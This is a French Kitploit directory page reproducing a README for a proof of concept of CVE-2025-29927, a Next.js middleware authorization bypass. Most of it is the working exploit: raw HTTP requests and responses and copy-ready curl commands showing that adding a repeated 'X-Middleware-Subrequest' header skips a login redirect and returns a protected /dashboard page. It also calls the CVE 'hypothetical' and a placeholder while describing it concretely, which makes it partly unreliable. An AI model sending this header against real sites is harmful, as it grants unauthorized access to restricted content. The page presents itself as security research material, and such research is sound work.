Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-29927-POC — Contournement d'autorisation dans le middleware Next.js | Kitploit
Outils/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
Authentification et AutorisationAnalyse des VulnérabilitésExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

Contournement d'autorisation dans le middleware Next.js

Voir le dépôt
93il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2025-29927-POC

Introduction

Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-29927, une vulnérabilité hypothétique illustrant une faille dans la gestion des middlewares au sein d'une application web. La PoC montre comment une requête HTTP spécialement conçue peut contourner la logique de redirection pour accéder à du contenu restreint, comme un tableau de bord. Ce projet est conçu uniquement à des fins éducatives et de recherche en sécurité.

Avertissement : Cette PoC est destinée à être utilisée dans des environnements contrôlés avec une autorisation explicite. Tester sans autorisation des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas de consentement est illégal et contraire à l'éthique.


Table des matières

  • Prérequis
  • Présentation de la vulnérabilité
  • Étapes de la preuve de concept
    • Étape 1 : Requête initiale (échec)
    • Étape 2 : Requête modifiée (réussite)
  • Comment reproduire
  • Références
  • Contribuer
  • Licence

Prérequis

Pour suivre cette PoC, vous aurez besoin de :

  • Un serveur cible (par exemple, abc.com) exécutant une configuration vulnérable (logiciel/version spécifiques à déterminer en fonction des détails du CVE).
  • Un outil client HTTP comme curl (curl.se), Burp Suite (portswigger.net/burp), ou un script personnalisé.
  • Des connaissances de base sur les protocoles HTTP et les en-têtes (voir Documentation HTTP MDN).

Présentation de la vulnérabilité

CVE-2025-29927 (espace réservé ; à remplacer par les détails officiels du CVE lorsqu'ils seront disponibles) semble exploiter une mauvaise configuration du middleware ou une faille logique. La PoC démontre que l'ajout d'un en-tête personnalisé (X-Middleware-Subrequest) modifie le comportement du serveur, contournant un mécanisme de redirection pour accéder à du contenu restreint. Cela concerne probablement la manière dont le middleware (par exemple, Nginx avec Next.js) traite les sous-requêtes ou valide les en-têtes.

Pour en savoir plus sur les vulnérabilités des middlewares, consultez Sécurité des middlewares OWASP.


Étapes de la preuve de concept

La PoC se compose de deux étapes : une requête initiale infructueuse et une requête modifiée réussie. Chaque étape comprend la requête HTTP, la réponse et une explication détaillée.

Étape 1 : Requête initiale (échec)

Cette étape illustre le comportement par défaut du serveur lors de l'accès au point de terminaison /dashboard sans en-têtes supplémentaires.

Requête HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Réponse HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Explication

  • Détails de la requête :
    • GET /dashboard : Tente d'accéder au point de terminaison du tableau de bord.
    • Les en-têtes standard comme User-Agent et Accept imitent une requête de navigateur typique.
  • Détails de la réponse :
    • 307 Temporary Redirect : Indique que le serveur redirige le client, probablement en raison d'une logique d'authentification, d'autorisation ou de routage (par exemple, une redirection vers une page de connexion).
    • Server: nginx/1.14.1 : Identifie le logiciel du serveur web.
  • Analyse : La redirection suggère un mécanisme de protection empêchant l'accès direct à /dashboard. L'absence d'en-tête Location dans cette réponse (peut-être omis par souci de concision) implique que la destination de la redirection se trouve ailleurs.
  • Référence : En savoir plus sur les codes de statut HTTP sur Statut HTTP MDN.

Étape 2 : Requête modifiée (réussite)

Cette étape introduit un en-tête personnalisé pour contourner la redirection, permettant de récupérer avec succès le contenu du tableau de bord.

Requête HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Réponse HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Explication

  • Détails de la requête :
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware : Un en-tête personnalisé ajouté à la requête d'origine. La chaîne middleware répétée peut exploiter une faille d'analyse ou de validation dans la pile de middlewares.
    • Les autres en-têtes restent inchangés par rapport à l'étape 1.
  • Détails de la réponse :
    • 200 OK : Confirme l'accès réussi au contenu du tableau de bord.
    • Content-Type: text/html; charset=utf-8 : Indique une réponse HTML, probablement la page du tableau de bord.
    • X-Powered-By: Next.js : Suggère que l'application utilise Next.js, un framework React qui s'appuie souvent sur un middleware pour le routage.
    • Cache-Control : Empêche la mise en cache, ce qui est typique pour un contenu dynamique et spécifique à l'utilisateur.
    • Content-Length: 30174 : Taille du corps de la réponse en octets.
  • Analyse : L'en-tête X-Middleware-Subrequest amène probablement le middleware à traiter la requête comme une sous-requête légitime, contournant ainsi la logique de redirection. Cela pourrait indiquer une vulnérabilité dans la manière dont les sous-requêtes sont validées ou traitées.
  • : Découvrez le middleware Next.js sur .

Comment reproduire

Suivez ces étapes pour reproduire la PoC à l'aide de curl :

Étape 1 : Envoyer la requête initiale

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Résultat attendu : Une réponse 307 Temporary Redirect.

Étape 2 : Envoyer la requête modifiée

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Résultat attendu : Une réponse 200 OK avec le contenu du tableau de bord.

Remarque : Remplacez abc.com par le domaine cible réel si vous testez dans un environnement autorisé.


Références

  • Détails du CVE - Base de données officielle des CVE (à mettre à jour avec le lien CVE spécifique lorsqu'il sera disponible).
  • Documentation HTTP MDN - Les bases du protocole HTTP.
  • Middleware Next.js - Informations sur le comportement du middleware Next.js.
  • Sécurité des middlewares OWASP - Aperçu des vulnérabilités des middlewares.
  • Manuel de curl - Guide d'utilisation de curl pour les requêtes HTTP.

Licence

Ce projet est sous licence MIT. Consultez le fichier LICENSE pour plus de détails.

Télécharger l’outil
Référence
Documentation Next.js